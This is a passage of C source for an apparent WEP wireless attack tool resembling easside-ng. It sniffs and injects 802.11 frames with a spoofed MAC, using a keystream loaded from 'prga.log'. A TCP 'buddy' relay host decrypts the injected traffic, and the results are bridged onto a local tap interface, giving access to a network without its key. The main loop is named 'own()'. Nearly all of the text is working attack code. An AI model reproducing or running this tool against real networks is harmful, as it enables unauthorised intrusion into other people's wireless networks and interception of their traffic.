p->data_try = 69;
break;
}
}
void read_wifi(struct params *p)
{
static char *buf = 0;
static int buflen = 4096;
struct ieee80211_frame *wh;
int rc;
if (!buf) {
buf = (char*) malloc(buflen);
if (!buf)
err(1, "malloc()");
}
rc = sniff(p->rx, buf, buflen);
if (rc == -1)
err(1, "sniff()");
wh = get_wifi(buf, &rc);
if (!wh)
return;
/* acks */
if (frame_type(wh, IEEE80211_FC0_TYPE_CTL, IEEE80211_FC0_SUBTYPE_ACK) &&
(memcmp(p->mac, wh->i_addr1, 6) == 0)) {
got_ack(p);
return;
}
/* data */
if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
IEEE80211_FC0_SUBTYPE_DATA)) {
if (!wanted(p, wh, rc))
return;
enque(p, &buf, wh, rc);
if (p->state == S_START)
send_queue(p);
return;
}
}
int connect_buddy(struct params *p)
{
struct sockaddr_in s_in;
memset(&s_in, 0, sizeof(s_in));
s_in.sin_family = PF_INET;
s_in.sin_port = htons(p->port);
s_in.sin_addr.s_addr = p->dst.s_addr;
if ((p->s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
return -1;
if (connect(p->s, (struct sockaddr*) &s_in, sizeof(s_in)) == -1)
return -1;
return 0;
}
void buddy_reset(struct params *p)
{
p->buddy_got = 0;
if (connect_buddy(p) == -1)
err(1, "connect_buddy()");
}
int buddy_get(struct params *p, int len)
{
int rd;
rd = recv(p->s, &p->buddy_data[p->buddy_got], len, 0);
if (rd <= 0) {
buddy_reset(p);
return 0;
}
p->buddy_got += rd;
return rd == len;
}
void read_buddy_head(struct params *p)
{
int rem;
rem = 4 - p->buddy_got;
if (!buddy_get(p, rem))
return;
}
void read_buddy_data(struct params *p)
{
unsigned short *ptr = (unsigned short*) p->buddy_data;
int id, len, rem;
struct queue *q = p->q;
struct queue *last = p->q;
char mac[12];
struct iovec iov[2];
id = ntohs(*ptr++);
len = ntohs(*ptr++);
rem = len + 4 - p->buddy_got;
assert(rem > 0);
if (!buddy_get(p, rem))
return;
/* w00t, got it */
#if 0
printf("id=%d len=%d\n", id, len);
#endif
p->buddy_got = 0;
/* feedback loop bullshit */
if (!q)
return;
if (!q->live)
return;
/* sanity chex */
if (q->id != id) {
printf("Diff ID\n");
return;
}
rem = q->len - sizeof(*q->wh) - 4 - 4;
if (rem != len) {
printf("Diff len\n");
return;
}
/* tap */
if (q->wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
memcpy(mac, q->wh->i_addr3, 6);
memcpy(&mac[6], q->wh->i_addr2, 6);
} else {
memcpy(mac, q->wh->i_addr1, 6);
memcpy(&mac[6], q->wh->i_addr3, 6);
}
iov[0].iov_base = mac;
iov[0].iov_len = sizeof(mac);
iov[1].iov_base = (char*)ptr + 8 - 2;
iov[1].iov_len = len - 8 + 2;
rem = writev(p->tap, iov, sizeof(iov)/sizeof(struct iovec));
if (rem == -1)
err(1, "writev()");
if (rem != (14+(len-8))) {
printf("Short write %d\n", rem);
exit(1);
}
/* deque */
q->live = 0;
if (q->next) {
p->q = q->next;
while (last) {
if (!last->next) {
last->next = q;
q->next = 0;
break;
}
last = last->next;
}
}
/* drain queue */
p->state = S_START;
if (p->q->live)
send_queue(p);
}
void read_buddy(struct params *p)
{
if (p->buddy_got < 4)
read_buddy_head(p);
else
read_buddy_data(p);
}
void own(struct params *p)
{
struct timeval tv;
struct timeval *to = NULL;
fd_set fds;
int max;
int tout_ack = 10*1000;
int tout_buddy = 2*1000*1000;
int tout = (p->state == S_WAIT_BUDDY) ? tout_buddy : tout_ack;
if (p->state == S_WAIT_ACK || p->state == S_WAIT_BUDDY) {
int el;
/* check timeout */
if (gettimeofday(&tv, NULL) == -1)
err(1, "gettimeofday()");
el = elapsed(&p->last, &tv);
/* timeout */
if (el >= tout) {
if (p->data_try > 3) {
p->state = S_START;
return;
} else {
send_packet(p);
el = 0;
}
}
el = tout - el;
tv.tv_sec = el/1000/1000;
tv.tv_usec = el - tv.tv_sec*1000*1000;
to = &tv;
}
FD_ZERO(&fds);
FD_SET(p->rx, &fds);
FD_SET(p->s, &fds);
max = (p->rx > p->s) ? p->rx : p->s;
if (select(max+1, &fds, NULL, NULL, to) == -1)
err(1, "select()");
if (FD_ISSET(p->rx, &fds))
read_wifi(p);
if (FD_ISSET(p->s, &fds))
read_buddy(p);
}
void usage(char *name)
{
printf("Usage %s <opts>\n"
"-h\thelp\n"
"-d\t<buddy ip>\n"
"-p\t<port>\n"
"-b\t<bssid>\n"
"-t\t<tap>\n"
"-r\t<rtr>\n"
"-s\t<source ip>\n"
, name);
exit(1);
}
int main(int argc, char *argv[])
{
struct params p;
char *iface = "ath0";
char *tap = "tap0";
int ch;
memset(&p, 0, sizeof(p));
memcpy(p.mac, "\x00\x00\xde\xfa\xce\xd", 6);
p.fname = "prga.log";
p.seq = getpid();
while ((ch = getopt(argc, argv, "hd:p:b:t:r:s:")) != -1) {
switch (ch) {
case 's':
if (!inet_aton(optarg, &p.src)) {
printf("Can't parse src IP\n");
exit(1);
}
break;
case 'r':
if (str2mac(p.rtr, optarg) == -1) {
printf("Can't parse rtr MAC\n");
exit(1);
}
break;
case 't':
tap = optarg;
break;
case 'b':
if (str2mac(p.ap, optarg) == -1) {
printf("Can't parse BSSID\n");
exit(1);
}
break;
case 'd':
if (!inet_aton(optarg, &p.dst)) {
printf("Can't parse IP\n");
exit(1);
}
break;
case 'p':
p.port = atoi(optarg);
break;
case 'h':
default:
usage(argv[0]);
break;
}
}
load_prga(&p);
assert(p.prga_len > 60);
if ((p.rx = open_rx(iface)) == -1)
err(1, "open_rx()");
if ((p.tx = open_tx(iface)) == -1)
err(1, "open_tx()");
if ((p.tap = open_tap(tap)) == -1)
err(1, "open_tap()");
if (set_iface_mac(tap, p.mac) == -1)
err(1, "set_iface_mac()");
if (connect_buddy(&p) == -1)
err(1, "connect_buddy()");
p.state = S_START;
while (1)
own(&p);
exit(0);
}